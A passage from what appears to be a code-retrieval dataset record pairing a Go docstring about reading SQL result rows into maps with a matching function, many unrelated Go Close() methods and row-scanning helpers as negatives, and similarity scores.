close details on CBG-1666\n\tfor i.rawResult.NextBytes() != nil {\n\t\t// noop to drain results\n\t}\n\n\tdefer func() {\n\t\tif i.concurrentQueryOpLimitChan != nil {\n\t\t\t<-i.concurrentQueryOpLimitChan\n\t\t}\n\t}()\n\n\t// check for errors before closing?\n\tcloseErr := i.rawResult.Close()\n\tif closeErr != nil {\n\t\treturn closeErr\n\t}\n\tresultErr := i.rawResult.Err()\n\treturn resultErr\n}", "func (g *DB) Close() {\n\tg.mutex.Lock()\n\tdefer g.mutex.Unlock()\n\tg.reader.Close()\n}", "func (i *blockIter) Close() error {\n\ti.handle.Release()\n\ti.handle = bufferHandle{}\n\ti.val = nil\n\ti.lazyValue = base.LazyValue{}\n\ti.lazyValueHandling.vbr = nil\n\treturn nil\n}", "func (it *ObjectPageIterator) Close() {\n\tdefer func() { recover() }()\n\tselect {\n\tcase <-it.ctx.Done():\n\t\t// done\n\tdefault:\n\t\tit.cancel()\n\t}\n}", "func (s *SinceDB) Close() error {\n\tclose(s.done)\n\ts.save()\n\treturn nil\n}", "func (st *ogonoriStmt) Close() error {\n\togl.Debugln(\"** ogonoriStmt.Close\")\n\t// nothing to do here since there is no special statement handle in OrientDB\n\t// that is referenced by a client driver\n\treturn nil\n}", "func (iter *BatchObjectIter) Close() {\n\tclose(iter.oidCh)\n}", "func (rs *PersonResultSet) Close() error {\n\treturn rs.ResultSet.Close()\n}", "func (q Query) Close() error {\n\treturn q.result.Close()\n}", "func (iter *SelectIter) Close() error {\n\tdefer iter.session.Close()\n\treturn iter.iterx.Close()\n}", "func (e *TableReaderExecutor) Close() error {\n\terr := closeAll(e.result, e.partialResult)\n\te.result = nil\n\te.partialResult = nil\n\treturn errors.Trace(err)\n}", "func (it *CrowdsaleRoyaltyCrowdsaleUpdatedIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (scanner *HistoryScanner) Close() {\n\tscanner.couchdbScanner.Close()\n}", "func (i *triggerBlockIter) Close(*sql.Context) error {\n\treturn nil\n}", "func (itr *BlocksItr) Close() {\n\titr.stream.close()\n}", "func (it *Iter) Close() {\n\t// (todo) > handle error\n\tit.i.Close()\n}", "func (rows *Rows) Close() {\n\tif rows.closed {\n\t\treturn\n\t}\n\trows.readUntilReadyForQuery()\n\trows.close()\n}", "func (db *DB) Close() error {\n\tif err := db.leader.Close(); err != nil {\n\t\treturn err\n\t}\n\tif err := db.follower.Close(); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (c *indexIter) Close() {\n\tif c.it != nil {\n\t\tc.it.Close()\n\t\tc.it = nil\n\t}\n}", "func (s *Iterator) Close() {\n\ts.i.Close()\n}", "func (i *Iterator) Close() error {\n\treturn errors.New(\"close failure\")\n}", "func (r *analyticsDeferredResultHandle) Close() error {\n\tr.rows.Close()\n\treturn r.err\n}", "func Close() {\n\t_db.Close()\n\t_db = nil\n}", "func (it *Iterator) Close() {\n\tit.iitr.Close()\n}", "func (iter *SkipListIterator) Close() {\n\tif iter.cursor == nil {\n\t\treturn\n\t}\n\tC.skiplist_release_node(iter.cursor)\n\titer.cursor = nil\n}", "func (i *ResolvedProductIter) Close() {}", "func (rs *PetResultSet) Close() error {\n\treturn rs.ResultSet.Close()\n}", "func (sr *shardResult) Close() {\n\tfor _, series := range sr.blocks {\n\t\tseries.Blocks.Close()\n\t}\n}", "func (rows *Rows) Close() error {\n\treturn nil\n}", "func (reader *BoltRowReader) Close(ctx context.Context) error {\n\tdefer reader.connection.Close()\n\treturn reader.rows.Close()\n}", "func (r *rows) Close() error {\n\treturn nil\n}", "func (db *DB) Close() error {\n\treturn scatter(len(db.cpdbs), func(i int) error {\n\t\treturn db.cpdbs[i].db.Close()\n\t})\n}", "func (p Pgconnector) Close() error {\r\n\treturn p.Db.Close()\r\n}", "func (d *declareVariablesIter) Close(ctx *sql.Context) error {\n\treturn nil\n}", "func (d *SQLdataloader) Close() error {\n\tif d.fd == nil { // already closed, nothing to do\n\t\treturn nil\n\t}\n\terr := d.doload() // do final load and cleanup if necessary\n\tif err != nil {\n\t\treturn err\n\t}\n\tif d.verbose {\n\t\tfmt.Printf(\"Successfully loaded %d records into database.\\n\", d.totalcount)\n\t}\n\treturn nil\n}", "func (rs *PollResultSet) Close() error {\n\treturn rs.ResultSet.Close()\n}", "func (it *KVResultsIter) Close() error {\n\tit.it.Close()\n\treturn nil\n}", "func (it *EthdkgDisputeIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (ri *ReplicaDataIterator) Close() {\n\tri.iterator.Close()\n}", "func (it *BaseContentSetAccessChargeIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (d *Driver) Close() error { return d.DB().Close() }", "func (db *Database) Close() { db.pg.Close() }", "func (db *DB) Close() {\n\t// Possible Deaollocate errors ignored, we are going to close the connnection anyway.\n\tdb.ClearMap()\n\tdb.Pool.Close()\n}", "func (db *EdDb) Close() {\n\t// close prepared statements\n\tfor title := range db.preparedStatements() {\n\t\tdb.statements[title].Close()\n\t}\n\n\t//close databases\n\tdb.dbConn.Close()\n\treturn\n}", "func (i *Iterator) Close() error {\n\ti.r.SetChunk(nil)\n\treturn i.Error()\n}", "func (it *CrowdsaleOwnershipTransferredIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (it *CrowdsaleFrameUsdUpdatedIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (s *Stmt) Close() error {\n\treturn nil\n}", "func (it *SingleAutoDepositIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (s *TransactionRows) Close() {\n\ts.iter.Stop()\n}", "func (it *DogsOfRomeScoobyIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (i *Iterator) Close() error {\n\ti.iterator.Close()\n\treturn nil\n}", "func (it *BaseContentDbgAccessCodeIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (d *MovieDatabase) Close() {\n\td.Client.Disconnect(d.Context)\n}", "func (i *baseIterator) Close() {\n\ti.badgerIter.Close()\n\ti.txn.Discard()\n}", "func (stmt *Stmt) Close() error {\n\tvar firstErr error\n\n\tif stmt.name != \"\" {\n\t\tfirstErr = stmt.closeStmt()\n\t}\n\n\terr := stmt.db.Close()\n\tif err != nil && firstErr == nil {\n\t\tfirstErr = err\n\t}\n\n\treturn firstErr\n}", "func (it *CrowdsalePurchasedIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (r *result) Close() error {\n\treturn r.reader.Close()\n}", "func (c *Catalog) Close() error {\n\tif c.db != nil {\n\t\tif err := c.db.Close(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif c.previews != nil {\n\t\tif err := c.previews.Close(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (h *DBHandle) Close() error {\n\treturn h.res.Close()\n}", "func (db *dbConnection) Close() error {\n\tfmt.Println(\"Close: Connection\", db.ID)\n\treturn nil\n}", "func (rd *RemoteDB) Close() {\n}", "func (it *BaseContentSpaceSetFactoryIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (it *BaseContentGetAccessChargeIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (rs *UserResultSet) Close() error {\n\treturn rs.ResultSet.Close()\n}", "func (c *Cdb) Close() (err error) {\n\tif c.closer != nil {\n\t\terr = c.closer.Close()\n\t\tc.closer = nil\n\t\truntime.SetFinalizer(c, nil)\n\t}\n\treturn err\n}", "func (rs *StatsPeriodResultSet) Close() error {\n\treturn rs.ResultSet.Close()\n}", "func (iter *PlanIterator) Close() error {\n\treturn iter.src.Close()\n}", "func (itr *doltColDiffCommitHistoryRowItr) Close(*sql.Context) error {\n\treturn nil\n}", "func (r *Rows) Close() error {\n\treturn r.c.Close(context.TODO())\n}", "func (it *ContractDNSRecordDeletedIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (it *BaseContentDbgAccessIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (r *love) Close() {\n\tr.db.Close()\n}", "func (it *ContentRunAccessChargeIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (s *DownloadStream) Close() error {\n\t// acquire mutex\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\t// check if closed\n\tif s.closed {\n\t\treturn gridfs.ErrStreamClosed\n\t}\n\n\t// close cursor\n\tif s.cursor != nil {\n\t\terr := s.cursor.Close(nil)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// set flag\n\ts.closed = true\n\n\treturn nil\n}", "func (it *TTFT20AddedOwnerIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (iter *radixIterator) Close() {\n\titer.miTxn.Abort()\n}", "func (qr *queryResult) Close() error {\n\tif qr.attributes.ResultsetClosed() {\n\t\treturn nil\n\t}\n\t// if lastError is set, attrs are nil\n\tif qr.lastErr != nil {\n\t\treturn qr.lastErr\n\t}\n\treturn qr.conn._closeResultsetID(context.Background(), qr.rsID)\n}", "func (r *rows) Close() (err error) {\n\tif trace {\n\t\tdefer func() {\n\t\t\ttracer(r, \"Close(): %v\", err)\n\t\t}()\n\t}\n\treturn r.finalize(r.pstmt)\n}", "func (d *BoltDB) Close() {\n\td.Close()\n}", "func (it *ClinicInfoSetIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func (rs *SessionResultSet) Close() error {\n\treturn rs.ResultSet.Close()\n}", "func (db *DB) Close() {\n\tdb.mu.Lock()\n\tdefer db.mu.Unlock()\n\tif !db.closed {\n\t\tdb.closed = true\n\t\tclose(db.notifyQuit)\n\t\tclose(db.notifyOpen)\n\t\tclose(db.notifyError)\n\t\tclose(db.notifyInfo)\n\t}\n\tif db.reader != nil {\n\t\tdb.reader.Close()\n\t\tdb.reader = nil\n\t}\n}", "func (iter *CouchDBMockStateRangeQueryIterator) Close() error {\n\titer.Closed = true\n\treturn nil\n}", "func (it *EventExampleDataStoredIterator) Close() error {\n\tit.sub.Unsubscribe()\n\treturn nil\n}", "func Close() {\n\tdb.Close()\n\n\treturn\n}" ]
[ "0.7047761", "0.6957418", "0.6923195", "0.6871032", "0.68610644", "0.6730213", "0.67293864", "0.6642736", "0.6544472", "0.65330505", "0.65270436", "0.65199935", "0.64856803", "0.646327", "0.63961166", "0.63919455", "0.6382165", "0.6381834", "0.63706714", "0.6369898", "0.63360095", "0.6315205", "0.6309526", "0.6276012", "0.6247343", "0.62402457", "0.6230326", "0.6229513", "0.6229451", "0.62273574", "0.6219725", "0.62189686", "0.62142855", "0.62084424", "0.6201655", "0.6194122", "0.61876464", "0.6180086", "0.6172045", "0.61684823", "0.6167508", "0.61647785", "0.61619866", "0.61589015", "0.61587316", "0.61554295", "0.6152816", "0.6152261", "0.6147625", "0.6145763", "0.6128332", "0.6111315", "0.6109035", "0.61004686", "0.60956955", "0.60907483", "0.60863036", "0.6083173", "0.6077723", "0.6077553", "0.6076931", "0.60645616", "0.6063383", "0.6062658", "0.6051645", "0.60482097", "0.6046233", "0.604331", "0.60424703", "0.60410714", "0.6038739", "0.60386837", "0.60350037", "0.60330963", "0.6031126", "0.6029786", "0.6027508", "0.6018453", "0.6016329", "0.6015476", "0.6015291", "0.60121566", "0.6009192", "0.59998363", "0.59984535", "0.5993854", "0.5992891", "0.5990672", "0.5989599", "0.59814185", "0.598035", "0.5977311", "0.5974498", "0.5969817", "0.5965502", "0.59585476", "0.59583604", "0.59570795", "0.59549546", "0.5953218" ]
0.72697186
0
sqlReceiveRows gets data from a sql result set and returns it as a slice of maps. Each column is mapped to its column name. If you provide columnNames, those will be used in the map. Otherwise it will get the column names out of the result set provided.
func sqlReceiveRows(rows *sql.Rows, columnTypes []query.GoColumnType, columnNames []string, builder *sqlBuilder, ) []map[string]interface{} { var values []map[string]interface{} cursor := NewSqlCursor(rows, columnTypes, columnNames, nil) defer cursor.Close() for v := cursor.Next();v != nil;v = cursor.Next() { values = append(values, v) } if builder != nil { values = builder.unpackResult(values) } return values }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func sqlReceiveRows2(rows *sql.Rows, columnTypes []query.GoColumnType, columnNames []string) (values []map[string]interface{}) {\n\tvar err error\n\n\tvalues = []map[string]interface{}{}\n\n\tcolumnReceivers := make([]SqlReceiver, len(columnTypes))\n\tcolumnValueReceivers := make([]interface{}, len(columnTypes))\n\n\tif columnNames == nil {\n\t\tcolumnNames, err = rows.Columns()\n\t\tif err != nil {\n\t\t\tlog.Panic(err)\n\t\t}\n\t}\n\n\tfor i, _ := range columnReceivers {\n\t\tcolumnValueReceivers[i] = &(columnReceivers[i].R)\n\t}\n\n\tfor rows.Next() {\n\t\terr = rows.Scan(columnValueReceivers...)\n\n\t\tif err != nil {\n\t\t\tlog.Panic(err)\n\t\t}\n\n\t\tv1 := make(map[string]interface{}, len(columnReceivers))\n\t\tfor j, vr := range columnReceivers {\n\t\t\tv1[columnNames[j]] = vr.Unpack(columnTypes[j])\n\t\t}\n\t\tvalues = append(values, v1)\n\n\t}\n\terr = rows.Err()\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\treturn\n}", "func (dbi *DB) SelectRows(nums int, sqls string, arg ...string) ([]map[string]string, error) {\r\n\tif dbi.status == false {\r\n\t\treturn nil, errors.New(\"database was not opened.\")\r\n\t}\r\n\r\n\trows, err := dbi.Cursor(sqls, arg...)\r\n\tif err != nil {\r\n\t\treturn nil, errors.New(\"Cannot open cursor for sql: \" + sqls)\r\n\t}\r\n\r\n\tvar resvar []map[string]string\r\n\tlimit := 0\r\n\tfor {\r\n\t\tcolvar, rowerr := rows.Next()\r\n\t\tif rowerr != nil {\r\n\t\t\trows.Close()\r\n\t\t\treturn nil, errors.New(\"Cannot fetch records for sql: \" + sqls)\r\n\t\t} else if colvar == nil && rowerr == nil {\r\n\t\t\t// no records found, lsnr had been release automatically\r\n\t\t\trows.status = false\r\n\t\t\tbreak\r\n\t\t}\r\n\r\n\t\tline := make(map[string]string)\r\n\t\tfor i := 0; i < len(rows.Cols); i++ {\r\n\t\t\tline[rows.Cols[i]] = colvar[i]\r\n\t\t}\r\n\t\tresvar = append(resvar, line)\r\n\t\tlimit++\r\n\t\tif nums > 0 && limit >= nums {\r\n\t\t\trows.Close()\r\n\t\t\tbreak\r\n\t\t}\r\n\t}\r\n\treturn resvar, nil\r\n}", "func getMapFromRows(rows *sql.Rows) (map[string]interface{}, error) {\n\tcols, _ := rows.Columns()\n\tm := make(map[string]interface{})\n\tfor rows.Next() {\n\t\t// Create a slice of interface{}'s to represent each column,\n\t\t// and a second slice to contain pointers to each item in the columns slice.\n\t\tcolumns := make([]interface{}, len(cols))\n\t\tcolumnPointers := make([]interface{}, len(cols))\n\t\tfor i, _ := range columns {\n\t\t\tcolumnPointers[i] = &columns[i]\n\t\t}\n\n\t\t// Scan the result into the column pointers...\n\t\tif err := rows.Scan(columnPointers...); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Create our map, and retrieve the value for each column from the pointers slice,\n\t\t// storing it in the map with the name of the column as the key.\n\t\tfor i, colName := range cols {\n\t\t\tval := columnPointers[i].(*interface{})\n\t\t\tm[colName] = *val\n\t\t}\n\t}\n\treturn m, nil\n}", "func RowToMap(rows *sql.Rows) []map[string]string {\n\tcolumns, _ := rows.Columns()\n\tcount := len(columns)\n\treadCols := make([]interface{}, count)\n\trawCols := make([]interface{}, count)\n\tvar records []map[string]string\n\tfor rows.Next() {\n\t\t// resultCols := make(map[string]string, count)\n\t\tfor i := range columns {\n\t\t\treadCols[i] = &rawCols[i]\n\t\t}\n\t\trows.Scan(readCols...)\n\n\t\t// all conver to string\n\t\tresultCols := assertTypeMap(columns, rawCols)\n\n\t\trecords = append(records, resultCols)\n\t}\n\treturn records\n}", "func (rs *PackageAggRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(PackageAggRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(PackageAggRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (rs *PackageRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(PackageRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(PackageRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (rs *PackageProductRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(PackageProductRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(PackageProductRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func RowsScan(rows *sql.Rows) (result []map[string]string, err error) {\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tvalues := make([]sql.RawBytes, len(columns))\n\tscanArgs := make([]interface{}, len(values))\n\t// ret := make(map[string]string, len(scanArgs))\n\n\tfor i := range values {\n\t\tscanArgs[i] = &values[i]\n\t}\n\n\tfor rows.Next() {\n\t\terr = rows.Scan(scanArgs...)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tvar value string\n\t\tret := make(map[string]string, len(scanArgs))\n\n\t\tfor i, col := range values {\n\t\t\tif col == nil {\n\t\t\t\tvalue = \"NULL\"\n\t\t\t} else {\n\t\t\t\tvalue = string(col)\n\t\t\t}\n\t\t\tret[columns[i]] = value\n\t\t}\n\n\t\tresult = append(result, ret)\n\n\t\t// break //get the first row only\n\t}\n\n\treturn\n}", "func NewRows(rs *sql.Rows) (*Rows, error) {\n\tif nil == rs {\n\t\trs = new(sql.Rows)\n\t}\n\tdefer rs.Close()\n\n\tvar err error\n\tvar tmp map[string]string\n\n\tret := &Rows{}\n\tret.currentData = make(map[string]string)\n\tret.data = make([]map[string]string, 0)\n\tret.colnames, err = rs.Columns()\n\tif nil != err {\n\t\treturn nil, err\n\t}\n\n\tfor rs.Next() {\n\t\ttmp, err = fetchMap(rs)\n\t\tif nil != err {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tret.data = append(ret.data, tmp)\n\t\tret.dataLen++\n\t}\n\treturn ret, nil\n}", "func (f *FakeTable) ReadRows(ovs *libovsdb.OvsdbClient, readRowArgs ovsdb.ReadRowArgs) ([]map[string]interface{}, error) {\n\tif f.ReadRowsFunc != nil {\n\t\treturn f.ReadRowsFunc(ovs, readRowArgs)\n\t}\n\tm := make([]map[string]interface{}, 10)\n\treturn m, nil\n}", "func readRows(db *sql.DB, query string, dataChan chan []sql.RawBytes, quitChan chan bool, goChan chan bool, csvHeader bool) {\n\trows, err := db.Query(query)\n\tdefer rows.Close()\n\tif err != nil {\n\t\tlog.Print(err)\n\t\tos.Exit(1)\n\t}\n\n\tcols, err := rows.Columns()\n\tcheckErr(err)\n\n\t// Write columns as a header line\n\tif csvHeader {\n\t\theaders := make([]sql.RawBytes, len(cols))\n\t\tfor i, col := range cols {\n\t\t\theaders[i] = []byte(col)\n\t\t}\n\t\tdataChan <- headers\n\t\t<-goChan\n\t}\n\n\t// Need to scan into empty interface since we don't know how many columns a query might return\n\tscanVals := make([]interface{}, len(cols))\n\tvals := make([]sql.RawBytes, len(cols))\n\tfor i := range vals {\n\t\tscanVals[i] = &vals[i]\n\t}\n\n\tfor rows.Next() {\n\t\terr := rows.Scan(scanVals...)\n\t\tcheckErr(err)\n\n\t\tdataChan <- vals\n\n\t\t// Block and wait for writeRows() to signal back it has consumed the data\n\t\t// This is necessary because sql.RawBytes is a memory pointer and when rows.Next()\n\t\t// loops and change the memory address before writeRows can properly process the values\n\t\t<-goChan\n\t}\n\n\terr = rows.Err()\n\tcheckErr(err)\n\n\tclose(dataChan)\n\tquitChan <- true\n}", "func RowsToMap(rows *sql.Rows, typeString string) ([]map[string]interface{}, error) {\n\tarr := make([]map[string]interface{}, 0)\n\n\tcols, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//Set up valuePointers slice using types from typeString\n\ttypes := strings.Split(typeString, \",\")\n\tvaluePointers := make([]interface{}, len(types))\n\tfor i, t := range types {\n\t\tif t == \"int\" {\n\t\t\tvaluePointers[i] = new(int)\n\t\t} else if t == \"string\" {\n\t\t\tvaluePointers[i] = new(string)\n\t\t} else {\n\t\t\treturn nil, errors.New(\"Unknown type in typeString\")\n\t\t}\n\t}\n\n\tfor rows.Next() {\n\t\t// Scan the result into the value pointers...\n\t\tif err := rows.Scan(valuePointers...); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tm := make(map[string]interface{})\n\t\tfor i, colName := range cols {\n\t\t\tm[colName] = valuePointers[i]\n\t\t}\n\n\t\tarr = append(arr, m)\n\t}\n\n\treturn arr, nil\n}", "func (rs *ProductRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(ProductRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(ProductRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (dbi *DB) Select(sqls string, arg ...string) ([]map[string]string, error) {\r\n\tif dbi.status == false {\r\n\t\treturn nil, errors.New(\"database was not opened.\")\r\n\t}\r\n\r\n\trows, err := dbi.Cursor(sqls, arg...)\r\n\tif err != nil {\r\n\t\treturn nil, errors.New(\"Cannot open cursor for sql: \" + sqls)\r\n\t}\r\n\r\n\tvar resvar []map[string]string\r\n\tfor {\r\n\t\tcolvar, rowerr := rows.Next()\r\n\t\tif rowerr != nil {\r\n\t\t\trows.Close()\r\n\t\t\treturn nil, errors.New(\"Cannot fetch records for sql: \" + sqls)\r\n\t\t} else if colvar == nil && rowerr == nil {\r\n\t\t\t// no records found\r\n\t\t\trows.status = false\r\n\t\t\tbreak\r\n\t\t}\r\n\r\n\t\tline := make(map[string]string)\r\n\t\tfor i := 0; i < len(rows.Cols); i++ {\r\n\t\t\tline[rows.Cols[i]] = colvar[i]\r\n\t\t}\r\n\t\tresvar = append(resvar, line)\r\n\t}\r\n\treturn resvar, nil\r\n}", "func (rs *PopRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(PopRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(PopRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (r *PackageAggRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.ID, &r.Data.Name, &r.Data.Available, &r.Data.Count}\n}", "func (dbi *DB) SelectRow(sqls string, arg ...string) (map[string]string, error) {\r\n\tif dbi.status == false {\r\n\t\treturn nil, errors.New(\"database was not opened.\")\r\n\t}\r\n\r\n\t// start select\r\n\tdbi.createOperation(\"DB_SELECT\")\r\n\tdbi.data.reqSql = sqls\r\n\tdbi.data.inVar = arg\r\n\t// data\r\n\tdbi.data.commPrepare()\r\n\t// communicate\r\n\tif dbi.data.comm() == false {\r\n\t\tmylog.Println(dbi.data.sqlCode, \":\", dbi.data.sqlErrm)\r\n\t\tdbi.Close()\r\n\t\treturn nil, errors.New(dbi.Sqlerrm)\r\n\t}\r\n\t// parse\r\n\tdbi.data.commParse()\r\n\tdbi.parseError()\r\n\tif dbi.Sqlcode != 0 {\r\n\t\treturn nil, errors.New(dbi.Sqlerrm)\r\n\t}\r\n\r\n\t// get column name list\r\n\tdbi.createOperation(\"DB_COLUMNS\")\r\n\t// data\r\n\tdbi.data.curId = -1\r\n\tdbi.data.commPrepare()\r\n\t// communicate\r\n\tif dbi.data.comm() == false {\r\n\t\tdbi.Close()\r\n\t\treturn nil, errors.New(dbi.Sqlerrm)\r\n\t}\r\n\t// parse\r\n\tdbi.data.commParse()\r\n\t// no need to change dbi.sqlcode\r\n\r\n\tcolvar := make(map[string]string)\r\n\tfor i := 0; i < len(dbi.data.colName); i++ {\r\n\t\tcolvar[strings.ToLower(dbi.data.colName[i])] = dbi.data.outVar[i]\r\n\t}\r\n\treturn colvar, nil\r\n}", "func FetchRows(rows *sql.Rows, dst interface{}) error {\n\tvar columns []string\n\tvar err error\n\n\t// Destination.\n\tdstv := reflect.ValueOf(dst)\n\n\tif dstv.IsNil() || dstv.Kind() != reflect.Ptr {\n\t\treturn db.ErrExpectingPointer\n\t}\n\n\tif dstv.Elem().Kind() != reflect.Slice {\n\t\treturn db.ErrExpectingSlicePointer\n\t}\n\n\tif dstv.Kind() != reflect.Ptr || dstv.Elem().Kind() != reflect.Slice || dstv.IsNil() {\n\t\treturn db.ErrExpectingSliceMapStruct\n\t}\n\n\tif columns, err = rows.Columns(); err != nil {\n\t\treturn err\n\t}\n\n\tslicev := dstv.Elem()\n\titem_t := slicev.Type().Elem()\n\n\treset(dst)\n\n\tfor rows.Next() {\n\n\t\titem, err := fetchResult(item_t, rows, columns)\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tslicev = reflect.Append(slicev, reflect.Indirect(item))\n\t}\n\n\trows.Close()\n\n\tdstv.Elem().Set(slicev)\n\n\treturn nil\n}", "func getRowFromResult(\n\te *base.Definition, columnNames []string, columnVals []interface{},\n) []base.Column {\n\n\trow := make([]base.Column, 0, len(columnNames))\n\n\tfor i, columnName := range columnNames {\n\t\t// construct a list of column objects from the lists of column names\n\t\t// and values that were returned by the cassandra query\n\t\tcolumn := base.Column{\n\t\t\tName: columnName,\n\t\t}\n\n\t\tswitch rv := columnVals[i].(type) {\n\t\tcase **int:\n\t\t\tcolumn.Value = *rv\n\t\tcase **int64:\n\t\t\tcolumn.Value = *rv\n\t\tcase **string:\n\t\t\tcolumn.Value = *rv\n\t\tcase **gocql.UUID:\n\t\t\tcolumn.Value = *rv\n\t\tcase **time.Time:\n\t\t\tcolumn.Value = *rv\n\t\tcase **bool:\n\t\t\tcolumn.Value = *rv\n\t\tcase **[]byte:\n\t\t\tcolumn.Value = *rv\n\t\tdefault:\n\t\t\t// This should only happen if we start using a new cassandra type\n\t\t\t// without adding to the translation layer\n\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\"data\": columnVals[i],\n\t\t\t\t\"column\": columnName}).Infof(\"type not found\")\n\t\t}\n\t\trow = append(row, column)\n\t}\n\treturn row\n}", "func (m *PgSQL) SliceMap(sqlString string) ([]map[string]interface{}, error) {\n\trows, err := m.Connection.Query(sqlString)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcount := len(columns)\n\ttableData := make([]map[string]interface{}, 0)\n\tvalues := make([]interface{}, count)\n\tvaluePtrs := make([]interface{}, count)\n\tfor rows.Next() {\n\t\tfor i := 0; i < count; i++ {\n\t\t\tvaluePtrs[i] = &values[i]\n\t\t}\n\t\trows.Scan(valuePtrs...)\n\t\tentry := make(map[string]interface{})\n\t\tfor i, col := range columns {\n\t\t\tvar v interface{}\n\t\t\tval := values[i]\n\t\t\tb, ok := val.([]byte)\n\t\t\tif ok {\n\t\t\t\tv = string(b)\n\t\t\t} else {\n\t\t\t\tv = val\n\t\t\t}\n\t\t\tentry[col] = v\n\t\t}\n\t\ttableData = append(tableData, entry)\n\t}\n\treturn tableData, nil\n}", "func (rs *CampaignRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(CampaignRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(CampaignRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (rs *CampaignRows) ReceiveRows(i int) []interface{} {\n\tif len(*rs) <= i {\n\t\t*rs = append(*rs, new(CampaignRow))\n\t} else if (*rs)[i] == nil {\n\t\t(*rs)[i] = new(CampaignRow)\n\t}\n\treturn (*rs)[i].ReceiveRow()\n}", "func (r *PackageRow) ReceiveRow() []interface{} {\n\treturn []interface{}{&r.Data.ID, &r.Data.Name, &r.Data.Available}\n}", "func QueryStrings(db *sql.DB, query string) (chan map[string]string, []string) {\n\trowChan := make(chan map[string]string)\n\n\trows, err := db.Query(query)\n\tcheck(\"running query\", err)\n\tcolumnNames, err := rows.Columns()\n\tcheck(\"getting column names\", err)\n\n\tgo func() {\n\n\t\tdefer rows.Close()\n\n\t\tvals := make([]interface{}, len(columnNames))\n\t\tvalPointers := make([]interface{}, len(columnNames))\n\t\t// Copy\n\t\tfor i := 0; i < len(columnNames); i++ {\n\t\t\tvalPointers[i] = &vals[i]\n\t\t}\n\n\t\tfor rows.Next() {\n\t\t\terr = rows.Scan(valPointers...)\n\t\t\tcheck(\"scanning a row\", err)\n\n\t\t\trow := make(map[string]string)\n\t\t\t// Convert each cell to a SQL-valid string representation\n\t\t\tfor i, valPtr := range vals {\n\t\t\t\t//fmt.Println(reflect.TypeOf(valPtr))\n\t\t\t\tswitch valueType := valPtr.(type) {\n\t\t\t\tcase nil:\n\t\t\t\t\trow[columnNames[i]] = \"null\"\n\t\t\t\tcase []uint8:\n\t\t\t\t\trow[columnNames[i]] = string(valPtr.([]byte))\n\t\t\t\tcase string:\n\t\t\t\t\trow[columnNames[i]] = valPtr.(string)\n\t\t\t\tcase int64:\n\t\t\t\t\trow[columnNames[i]] = fmt.Sprintf(\"%d\", valPtr)\n\t\t\t\tcase float64:\n\t\t\t\t\trow[columnNames[i]] = fmt.Sprintf(\"%f\", valPtr)\n\t\t\t\tcase bool:\n\t\t\t\t\trow[columnNames[i]] = fmt.Sprintf(\"%t\", valPtr)\n\t\t\t\tcase time.Time:\n\t\t\t\t\trow[columnNames[i]] 